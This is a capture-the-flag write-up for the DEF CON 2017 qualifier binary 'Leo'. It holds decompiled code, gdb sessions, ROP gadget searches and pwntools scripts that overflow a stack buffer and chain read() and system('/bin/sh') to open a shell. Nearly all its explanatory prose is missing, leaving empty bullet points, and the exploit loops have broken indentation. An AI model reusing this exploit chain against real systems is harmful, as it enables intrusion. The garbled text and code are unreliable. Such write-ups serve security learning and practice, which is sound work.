Leo es Pequeno[KR]

Unknown macro: 'html'

List

Infomation

Description

You boys like Mexico?!

leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me:61111

Files

- https://2017.notmalware.ru/87ad10c79fc38f7c977396ec5e97d8b911beb7d7/leo

File

- leo
- 23fsf251l10o121415

Source Code

- https://github.com/legitbs/quals-2017/tree/master/Leo

Writeup

File information

```
lazenca0x0@ubuntu:~/CTF/DEFCON2017/leo$ file leo
leo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-
64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5fa0449905a79b55301d9ff35c76c83d01720f1f, stripped
lazenca0x0@ubuntu:~/CTF/DEFCON2017/leo$ checksec.sh --file leo
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   leo
lazenca0x0@ubuntu:~/CTF/DEFCON2017/leo$
```

Binary analysis

Setting

- .
- **apache**
  - Kali linux apache .

Web server start

```
root@kali:~# service apache2 start
```

- **"23fsf251l10o121415"**
  - .
  - VMware Drag&Drop .
  - Drag & Drop .

File upload

```
lazenca0x0@ubuntu:~# scp 23fsf251l10o121415 root@192.168.239.156:/var/www/html/
```

-
  - Host .

Host file change

```
lazenca0x0@ubuntu:~/CTF/DEFCON/Leo$ sudo -i
root@ubuntu:~# echo leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me >> /etc/hostname
root@ubuntu:~# echo "192.168.239.156 leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me" >> /etc/hosts
```

status check for web server.

```
lazenca0x0@ubuntu:~/CTF/DEFCON/Leo$ wget http://leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me
/23fsf251l10o121415
--2017-06-14 23:54:06--  http://leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me/23fsf251l10o121415
Resolving leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me (leo_33e299c29ed3f0113f3955a4c6b08500.
quals.shallweplayaga.me)... 192.168.239.156
Connecting to leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me
(leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me)|192.168.239.156|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 110
Saving to: '23fsf251l10o121415.1'

100%
[==================================================================================================
=====================================================>] 110         --.-K/s   in 0s

2017-06-14 23:54:06 (25.4 MB/s) - '23fsf251l10o121415.1' saved [110/110]

lazenca0x0@ubuntu:~/CTF/DEFCON/Leo$
```

.init_array

- main() .init_array .
  - init() off_603DF8[] "0x4013CF" .

init()

```
void __fastcall init(unsigned int a1, __int64 a2, __int64 a3)
{
  __int64 v3; // r13@1
  __int64 v4; // rbx@1
  signed __int64 v5; // rbp@1

  v3 = a3;
  v4 = 0LL;
  v5 = &off_603E08 - off_603DF8;
  init_proc();
  if ( v5 )
  {
    do
      ((void (__fastcall *)(_QWORD, __int64, __int64))off_603DF8[v4++])(a1, a2, v3);
    while ( v4 != v5 );
  }
}
```

- .
  - curl_easy_setopt() URL .
    - "http://leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me/23fsf251l10o121415"
    - CURLOPT_URL : 10002
    - CURLOPT_WRITEFUNCTION : 20011
    - CURLOPT_WRITEDATA : 10001
    - CURLOPT_USERAGENT : 10018
  - curl_easy_perform() () addr .
  - mprotect() addr , , .
  - addr xor .(Key : 0xAA)

Load file() - 0x4013CF

```
__int64 __fastcall sub_4013CF(__int64 a1, char **a2)
{
  char *v2; // rax@1
  size_t v3; // rsi@1
  char *moduleName; // rax@3
  __int64 v5; // rax@7
  size_t v6; // rsi@12
  __int64 v7; // rdi@18
  char errMsgMprotect[18]; // [rsp+10h] [rbp-170h]@1
  char errMsgModuleNotFound[17]; // [rsp+30h] [rbp-150h]@1
  char v12[68]; // [rsp+50h] [rbp-130h]@1
  __int64 v13; // [rsp+120h] [rbp-60h]@9
  int v14; // [rsp+12Ch] [rbp-54h]@9
  unsigned int v15; // [rsp+130h] [rbp-50h]@6
  int v16; // [rsp+134h] [rbp-4Ch]@6
  int v17; // [rsp+138h] [rbp-48h]@6
  int v18; // [rsp+13Ch] [rbp-44h]@6
  int v19; // [rsp+140h] [rbp-40h]@5
  int v20; // [rsp+144h] [rbp-3Ch]@4
  __int64 v21; // [rsp+148h] [rbp-38h]@3
  int (*v22)(const char *); // [rsp+150h] [rbp-30h]@1
  size_t alignment; // [rsp+158h] [rbp-28h]@1
  int v24; // [rsp+164h] [rbp-1Ch]@1
  int errCode; // [rsp+168h] [rbp-18h]@1
  int i; // [rsp+16Ch] [rbp-14h]@15

  v24 = 0;
  errMsgModuleNotFound[0] = 'm';
  errMsgModuleNotFound[1] = 'o';
  errMsgModuleNotFound[2] = 'd';
```

```
errMsgModuleNotFound[3] = 'u';
errMsgModuleNotFound[4] = 'l';
errMsgModuleNotFound[5] = 'e';
errMsgModuleNotFound[6] = ' ';
errMsgModuleNotFound[7] = 'n';
errMsgModuleNotFound[8] = 'o';
errMsgModuleNotFound[9] = 't';
errMsgModuleNotFound[10] = ' ';
errMsgModuleNotFound[11] = 'f';
errMsgModuleNotFound[12] = 'o';
errMsgModuleNotFound[13] = 'u';
errMsgModuleNotFound[14] = 'n';
errMsgModuleNotFound[15] = 'd';
errMsgModuleNotFound[16] = '\0';
errMsgMprotect[0] = 'm';
errMsgMprotect[1] = 'p';
errMsgMprotect[2] = 'r';
errMsgMprotect[3] = 'o';
errMsgMprotect[4] = 't';
errMsgMprotect[5] = 'e';
errMsgMprotect[6] = 'c';
errMsgMprotect[7] = 't';
errMsgMprotect[8] = '(';
errMsgMprotect[9] = ')';
errMsgMprotect[10] = ' ';
errMsgMprotect[11] = 'f';
errMsgMprotect[12] = 'a';
errMsgMprotect[13] = 'i';
errMsgMprotect[14] = 'l';
errMsgMprotect[15] = 'e';
errMsgMprotect[16] = 'd';
errMsgMprotect[17] = 0;
strcpy(v12, "http://leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me/");
errCode = 0x58C3;
v2 = __xpg_basename(*a2);
openlog(v2, 8, 8);
alignment = sysconf(30);
v22 = system;
v3 = alignment;
errCode = posix_memalign(&addr, alignment, 2 * alignment);
if ( errCode )
  exit(-1);
len = 2 * alignment;
qword_6041A0 = 0LL;
curl_global_init(3LL, v3);
v21 = curl_easy_init(3LL);
moduleName = &v12[strlen(v12)];
*(_QWORD *)moduleName = '152fsf32';
*((_QWORD *)moduleName + 1) = '4121o01l';
*((_WORD *)moduleName + 8) = '51';
moduleName[18] = 0;
if ( v24 )
{
  v19 = 10002;
  curl_easy_setopt(v21, 10002LL, a2[v24]);    // CURLOPT_URL
}
else
{
  v20 = 10002;
  curl_easy_setopt(v21, 10002LL, v12);
}
v18 = 20011;
curl_easy_setopt(v21, 20011LL, contentCopyToHeap);// CURLOPT_WRITEFUNCTION
v17 = 10001;
curl_easy_setopt(v21, 10001LL, &addr);        // CURLOPT_WRITEDATA
v16 = 10018;
curl_easy_setopt(v21, 10018LL, "libcurl-agent/1.0");// CURLOPT_USERAGENT
v15 = curl_easy_perform(v21);
if ( v15 )
{
  v5 = curl_easy_strerror(v15);
```

```
    syslog(3, "curl_easy_perform() failed: %s", v5, a2);
    exit(-1);
  }
  v14 = 2097154;
  curl_easy_getinfo(v21, 2097154LL, &v13);
  if ( v13 == 404 )
  {
    syslog(3, errMsgModuleNotFound, a2);
    exit(-1);
  }
  v6 = len;
  errCode = mprotect(addr, len, 7);
  if ( errCode )
  {
    syslog(3, errMsgMprotect, a2);
    exit(-1);
  }
  for ( i = 0; i < len; ++i )
    *((_BYTE *)addr + i) ^= 0xAA;
  v7 = v21;
  curl_easy_cleanup(v21, v6);
  return curl_global_cleanup(v7);
}
```

Main()

- .
  - read() 16000 .
  - checkZero(), checkDataSize() buffer data .
  - getData() , if() .
  - .
    - if() : 49, 50, 100, 2, 25
    - ".init_array" addr .

```
unsigned int __fastcall main(signed int argc, char **option, char **a3)
{
  signed int data; // eax@33 MAPDST
  char url[80]; // [rsp+10h] [rbp-3F70h]@1
  char welcomeMSG[112]; // [rsp+60h] [rbp-3F20h]@20
  char buffer[16000]; // [rsp+D0h] [rbp-3EB0h]@23
  __int64 functionCall; // [rsp+3F58h] [rbp-28h]@29
  __int64 len; // [rsp+3F60h] [rbp-20h]@23
  int v10; // [rsp+3F6Ch] [rbp-14h]@17
  int i; // [rsp+3F74h] [rbp-Ch]@4
  __int64 readedSize; // [rsp+3F78h] [rbp-8h]@23

  data = 0;
  strcpy(url, "http://leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me/");
  openlog(*option, 8, 8);
  src = url;
  if ( argc > 2 )
  {
    if ( argc != 3 && argc != 5 )
    {
      syslog(3, "Bad command line.", option);
      exit(-1);
    }
    for ( i = 1; argc - 1 > i; ++i )
    {
      if ( !strcmp(option[i], "-u") && argc - 1 != i )
        src = option[i + 1LL];
      if ( !strcmp(option[i], "-D") && argc - 1 != i )
      {
        puts(option[i + 1LL]);
        path = option[i + 1LL];
      }
    }
  }
  if ( path )
```

```
  {
    v10 = chdir(path);
    if ( v10 == -1 )
    {
      syslog(3, "Error setting working directory", option);
      exit(-1);
    }
  }
  if ( (unsigned int)readWelcomMSG(welcomeMSG, 100) )
  {
    puts("\nNo welcome message or hint text found.  You are on your own, Bucko.\n");
    fflush(stdout);
  }
  else
  {
    puts(welcomeMSG);
  }
  memset(buffer, 0, 16000uLL);
  len = 0LL;
  readedSize = 0LL;
  do
  {
    len = read(0, &buffer[readedSize], 16000 - readedSize);
    if ( len == -1 )
    {
      syslog(3, "Error reading from STDIN...exiting", option);
      exit(-1);
    }
    if ( !len )
      break;
    readedSize += len;
  }
  while ( readedSize != 16000 );
  functionCall = (__int64)checkZero;
  if ( (unsigned int)checkZero(buffer, readedSize) == -1 )
  {
    puts("There appears to be no data.... did you send some?");
    fflush(stdout);
    return 0;
  }
  functionCall = (__int64)checkDataSize;
  if ( (unsigned int)checkDataSize(buffer, readedSize) == -1 )
  {
    puts("I need more data to analyze.");
    fflush(stdout);
    return 0;
  }
  functionCall = (__int64)getData;
  data = getData(buffer, readedSize);
  if ( data == 49 )
  {
    puts("This is ASCII text.");
    fflush(stdout);
    functionCall = (__int64)sub_401C3B;
    sub_401C3B(buffer, readedSize);
  }
  else if ( data > 49 )
  {
    if ( data == 50 )
    {
      puts("This is ASCII data.");
      fflush(stdout);
      functionCall = (__int64)checkDataSize;
      checkDataSize(buffer, readedSize);
    }
    else
    {
      if ( data != 100 )
      {
LABEL_46:
        puts("This doesn't match my patterns.  Checking...");
```

```
        fflush(stdout);
        functionCall = (__int64)addr;
        ((void (__fastcall *)(char *, _QWORD))addr)(buffer, (unsigned int)readedSize);
        goto LABEL_47;
      }
      puts("Its an executable?  Let's see what 'file' says...");
      fflush(stdout);
      functionCall = (__int64)fileTest;
      fileTest(buffer, readedSize);
    }
  }
  else
  {
    if ( data == 2 )
    {
      puts("Data appears to be encrypted or very random.  Further tests aborted.");
      fflush(stdout);
      return 2;
    }
    if ( data != 25 )
      goto LABEL_46;
    puts("I guess its binary data. Let's see what 'file' says...");
    fflush(stdout);
    functionCall = (__int64)fileTest;
    fileTest(buffer, readedSize);
  }
LABEL_47:
  closelog();
  fflush(stdout);
  return sleep(1u);
}
```

getData()

- .
  - for() tmp[][] .
  - for() buffer[i] tmp[][1] .
    - tmp[buffer[i]][1] 1 .
    - Ex) buffer[1] 3 "++tmp[1][1]" 1 .
  - for() tmp[i][1] maxValOne, minValOne .
    - sumVal tmp[i][1] ">> 8" .
  - reSort() .
  - for() tmp[i][1] '0' minValZero, maxValZero .
    - zeroCount tmp[i][1] '0' .
  - if() .
    - : 2, 100, 22, 25, 49, 50
  - main() 22 .
  - , addr .

```
signed __int64 __fastcall getData(char *buffer, int size)
{
  signed __int64 result; // rax@25
  unsigned int tmp[256][2]; // [rsp+10h] [rbp-820h]@2
  unsigned int maxValZero; // [rsp+814h] [rbp-1Ch]@1
  unsigned int minValZero; // [rsp+818h] [rbp-18h]@1
  unsigned int zeroCount; // [rsp+81Ch] [rbp-14h]@1
  unsigned int sumVal; // [rsp+820h] [rbp-10h]@1
  unsigned int minValOne; // [rsp+824h] [rbp-Ch]@1
  unsigned int maxValOne; // [rsp+828h] [rbp-8h]@1
  int i; // [rsp+82Ch] [rbp-4h]@1

  maxValOne = 0;
  minValOne = 0xFFFFFFFF;
  sumVal = 0;
  zeroCount = 0;
  minValZero = 0x1FF;
  maxValZero = 0;
  for ( i = 0; i <= 255; ++i )
  {
    tmp[i][0] = i;
```

```
    tmp[i][1] = 0;
  }
  for ( i = 0; i < size; ++i )
    ++tmp[(unsigned __int8)buffer[i]][1];
  for ( i = 0; i <= 255; ++i )
  {
    if ( tmp[i][1] > maxValOne )
      maxValOne = tmp[i][1];
    if ( tmp[i][1] < minValOne )
      minValOne = tmp[i][1];
    sumVal += tmp[i][1];
  }
  sumVal >>= 8;
  reSort((bins *)tmp, 256);
  for ( i = 0; i <= 255; ++i )
  {
    if ( tmp[i][1] )
    {
      if ( tmp[i][0] < minValZero )
        minValZero = tmp[i][0];
      if ( tmp[i][0] > maxValZero )
        maxValZero = tmp[i][0];
    }
    else
    {
      ++zeroCount;
    }
  }
  if ( zeroCount <= 4 && 10 * sumVal > maxValOne )
    return 2LL;
  if ( maxValZero > 0x7F || minValZero <= 8 )
  {
    if ( minValOne && 10 * sumVal < maxValOne )
    {
      result = 100LL;
    }
    else if ( minValOne || 2 * sumVal >= maxValOne )
    {
      result = 22LL;
    }
    else
    {
      result = 25LL;
    }
  }
  else if ( tmp[255][0] == 32 )
  {
    result = 49LL;
  }
  else
  {
    result = 50LL;
  }
  return result;
}
```

reSort()

- .
  - for() 'tmps[j][1]' 'tmps[j + 1][1]' , 'tmps[j][0,1]' 'tmps[j + 1][0,1]' .

```
__int64 __fastcall reSort(bins *tmp, int size256)
{
  unsigned int valueZero; // ST14_4@4
  unsigned int valueOne; // ST10_4@4
  __int64 result; // rax@8
  int j; // [rsp+14h] [rbp-8h]@2
  signed int i; // [rsp+18h] [rbp-4h]@1

  for ( i = 0; ; ++i )
  {
    result = (unsigned int)(size256 - 1);
    if ( (signed int)result <= i )
      break;
    for ( j = 0; size256 - i - 1 > j; ++j )
    {
      if ( tmp->tmps[j][1] > tmp->tmps[j + 1][1] )
      {
        valueZero = tmp->tmps[j + 1LL][0];
        valueOne = tmp->tmps[j + 1][1];
        tmp->tmps[j + 1LL][0] = tmp->tmps[j][0];
        tmp->tmps[j + 1][1] = tmp->tmps[j][1];
        tmp->tmps[j][0] = valueZero;
        tmp->tmps[j][1] = valueOne;
      }
    }
  }
  return result;
}
```

addr()

- addr .
  - getData() 22 .

set $eax = 22

```
gdb-peda$ b *0x402079
Breakpoint 1 at 0x402079
gdb-peda$ c
Continuing.

Breakpoint 1, 0x0000000000402079 in ?? ()
gdb-peda$ i r eax
eax            0x32        0x32
gdb-peda$ p/d 0x32
$1 = 50
gdb-peda$ set $eax = 22
gdb-peda$ i r eax
eax            0x16        0x16
gdb-peda$ p/d 0x16
$2 = 22
gdb-peda$
```

- GDB Heap .

Assembly code - addr()

```
gdb-peda$ b *0x4021FE
Breakpoint 2 at 0x4021fe
gdb-peda$ c
Continuing.
Breakpoint 2, 0x00000000004021fe in ?? ()
gdb-peda$ i r rax
rax            0x971000        0x971000
gdb-peda$

gdb-peda$ x/40i 0x971000
   0x971000:        push   rbp
   0x971001:        mov    rbp,rsp
   0x971004:        mov    QWORD PTR [rbp-0x28],rdi
   0x971008:        mov    DWORD PTR [rbp-0x2c],esi
   0x97100b:        mov    eax,DWORD PTR [rbp-0x2c]
   0x97100e:        mov    edx,eax
   0x971010:        shr    edx,0x1f
   0x971013:        add    eax,edx
   0x971015:        sar    eax,1
   0x971017:        add    eax,0x1
   0x97101a:        mov    DWORD PTR [rbp-0x8],eax
   0x97101d:        mov    DWORD PTR [rbp-0x4],0x11
   0x971024:        mov    DWORD PTR [rbp-0x4],0x0
   0x97102b:        jmp    0x971060
   0x97102d:        mov    eax,DWORD PTR [rbp-0x2c]
   0x971030:        mov    edx,eax
   0x971032:        shr    edx,0x1f
   0x971035:        add    eax,edx
   0x971037:        sar    eax,1
   0x971039:        add    eax,0x1
   0x97103c:        cmp    eax,DWORD PTR [rbp-0x8]
   0x97103f:        jne    0x97106b
   0x971041:        mov    eax,DWORD PTR [rbp-0x4]
   0x971044:        movsxd rdx,eax
   0x971047:        mov    rax,QWORD PTR [rbp-0x28]
   0x97104b:        add    rax,rdx
   0x97104e:        movzx  eax,BYTE PTR [rax]
   0x971051:        mov    edx,eax
   0x971053:        mov    eax,DWORD PTR [rbp-0x4]
   0x971056:        cdqe
   0x971058:        mov    BYTE PTR [rbp+rax*1-0x20],dl
   0x97105c:        add    DWORD PTR [rbp-0x4],0x1
   0x971060:        mov    eax,DWORD PTR [rbp-0x4]
   0x971063:        cmp    eax,DWORD PTR [rbp-0x2c]
   0x971066:        jl     0x97102d
   0x971068:        nop
   0x971069:        jmp    0x97106c
   0x97106b:        nop
   0x97106c:        pop    rbp
   0x97106d:        ret
gdb-peda$
```

- .
- .
  - for() 'stackOverFlow[]' '*buffer' .
  - .
    - stackOverFlow 24byte .
    - Return address .
  - .
    - i, half buffer .
    - if() .

addr()

```
__int64 __fastcall sub_15F6000(char *buffer, signed int readSize)
{
  __int64 result; // rax@2
  char stackOverFlow[24]; // [rsp+Ch] [rbp-20h]@3
  int half; // [rsp+24h] [rbp-8h]@1
  int i; // [rsp+28h] [rbp-4h]@1

  half = readSize / 2 + 1;
  for ( i = 0; ; ++i )
  {
    result = (unsigned int)i;
    if ( i >= readSize )
      break;
    result = (unsigned int)(readSize / 2 + 1);
    if ( (_DWORD)result != half )
      break;
    stackOverFlow[i] = buffer[i];
  }
  return result;
}
```

- Stack Overflow .
  - i, half int 4byte .
    - half(0x1f41) = 16000 / 2 + 1
    - i(0x1d) = 24(stackOverFlow size) + 4(half size) + 1

```
from pwn import *

p = process('./leo')

data = 'AAAAAAAA' * 3
data += p32(0x1f41)
data += p32(0x1d)
data += 'BBBBBBBB'
data += 'CCCCCCCC'
data += 'D' * (16000 - len(data))

sleep(20)
p.send(data)
p.interactive()
```

Stack overflow

- Segmentation fault .

```
Breakpoint 2, 0x00000000004021fe in ?? ()
gdb-peda$ i r rax
rax            0x1797000        0x1797000
gdb-peda$ b *0x1797000
Breakpoint 3 at 0x1797000
gdb-peda$ c
Continuing.
Breakpoint 3, 0x0000000001797000 in ?? ()
gdb-peda$ x/40i $rip
=> 0x1797000:        push   rbp
   0x1797001:        mov    rbp,rsp
...
   0x179706b:        nop
   0x179706c:        pop    rbp
   0x179706d:        ret
gdb-peda$ b *0x179706d
Breakpoint 4 at 0x179706d
gdb-peda$ c
Continuing.
0x000000000179706d in ?? ()
gdb-peda$ i r rsp
rsp            0x7ffe58bf5cd8        0x7ffe58bf5cd8
gdb-peda$ x/4gx 0x7ffe58bf5cd8
0x7ffe58bf5cd8:        0x4343434343434343        0x4444444444444444
0x7ffe58bf5ce8:        0x4444444444444444        0x4444444444444444
gdb-peda$ ni

Program received signal SIGSEGV, Segmentation fault.
```

Structure of Exploit code

- getData() 22 addr()
- addr() Return address ROP
  - read(0, bss, size)
  - system(bss)

- The following information is required for an attack:

- getData() '22' Data
- ROP Gadget

Information for attack

ROP Gadget

- Gadget .

ropsearch 'pop rdi'

```
gdb-peda$ ropsearch 'pop rdi'
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00402703 : (b'5fc3')        pop rdi; ret
gdb-peda$
```

- 'pop rsi' Gadget 'pop r15' .

```
gdb-peda$ ropsearch 'pop rsi'
Searching for ROP gadget: 'pop rsi' in: binary ranges
0x00402701 : (b'5e415fc3')        pop rsi; pop r15; ret
gdb-peda$
```

- 'pop rdx' Gadget .

```
gdb-peda$ ropsearch 'pop rdx'
Searching for ROP gadget: 'pop rdx' in: binary ranges
Not found
gdb-peda$
```

- 'pop rdx' Gadget .
  - 'ret' 'rdx' buffer 'D(0x44)' .
  - , 'pop rdx' Gadget .
    - buffer 0x7 ..

```
Breakpoint 2, 0x00000000004021fe in ?? ()
gdb-peda$ i r rax
rax            0x95b000        0x95b000
gdb-peda$ b *0x95b000
Breakpoint 3 at 0x95b000
gdb-peda$ c
Continuing.


Breakpoint 3, 0x000000000095b000 in ?? ()
gdb-peda$ x/40i 0x95b000
=> 0x95b000:        push   rbp
   0x95b001:        mov    rbp,rsp
...
   0x95b068:        nop
   0x95b069:        jmp    0x95b06c
   0x95b06b:        nop
   0x95b06c:        pop    rbp
   0x95b06d:        ret
gdb-peda$ b *0x95b06d
Breakpoint 4 at 0x95b06d
gdb-peda$ c
Continuing.
Breakpoint 4, 0x000000000095b06d in ?? ()
gdb-peda$ i r rdx
rdx            0x44        0x44
gdb-peda$
```

Get 22 from getData() function

- POC .

```
from pwn import *

FILEPATH = './leo'


rdi = 0x00402703
rsi = 0x00402701


elf = ELF(FILEPATH)
p = process(FILEPATH)

data = 'AAAAAAAA' * 3
data += p32(0x1f41)     # half
data += p32(0x1d)       # i
data += p64(0)

#read(0,bss,size)
data += p64(rdi)
data += p64(0)
data += p64(rsi)
data += p64(elf.bss())
data += p64(0)
data += p64(elf.plt['read'])

#system(bss)
data += p64(rdi)
data += p64(elf.bss())
data += p64(elf.plt['system'])

data += 'D' * (16000 - len(data))

sleep(20)
p.send(data)
p.send('/bin/sh')
p.interactive()
```

- if() zeroCount 4 .
- , if() 'minValOne', 'minValZero' zeroCount 0 .
- if() "2 * sumVal >= maxValOne" (True) .
    - (True) .
        - sumVal 0x3e(62) .
        - , maxValOne 127 (True) .
            - (16000(buffer size) >> 8) * 2= 0x7c(124)

```
...
  if ( zeroCount <= 4 && 10 * sumVal > maxValOne )
    return 2LL;
  if ( maxValZero > 127 || minValZero <= 8 )
  {
    if ( minValOne && 10 * sumVal < maxValOne )
    {
      result = 100LL;
    }
    else if ( minValOne || 2 * sumVal >= maxValOne )
    {
      result = 22LL;
    }
    else
    {
...
```

- Data .

```
for i in range(0,255):
    if len(data) < 16000:
            valCnt = data.count(chr(i))
            if valCnt  > 124:
                log.info("Warring!")
        elif valCnt < 124:
                if 16000 - len(data) > 124 - valCnt:
                data += chr(i) * (124 - valCnt)
                else:
                        data += chr(i) * (16000 - len(data))
```

Exploit Code

Exploit code

```
from pwn import *

FILEPATH = './leo'

rdi = 0x00402703
rsi = 0x00402701

elf = ELF(FILEPATH)
p = process(FILEPATH)

data = ''
for i in range(0,24):
    data += chr(i)

data += p32(0x1f41)     # half
data += p32(0x1d)       # i
data += p64(0)

#read(0,bss,size)
data += p64(rdi)
data += p64(0)
data += p64(rsi)
data += p64(elf.bss())
data += p64(0)
data += p64(elf.plt['read'])

#system(bss)
data += p64(rdi)
data += p64(elf.bss())
data += p64(elf.plt['system'])

print str(len(data))

for i in range(0,255):
    if len(data) < 16000:
            valCnt = data.count(chr(i))
            if valCnt  > 124:
                log.info("Warring!")
        elif valCnt < 124:
                if 16000 - len(data) > 124 - valCnt:
                    data += chr(i) * (124 - valCnt)
                else:
                        data += chr(i) * (16000 - len(data))


sleep(20)
p.send(data)
p.send('/bin/sh')
p.interactive()
```

Flag

Flag	2c641a4386ec64280ca77d1beae6d372

Related Site

- N / a

Unknown macro: 'html'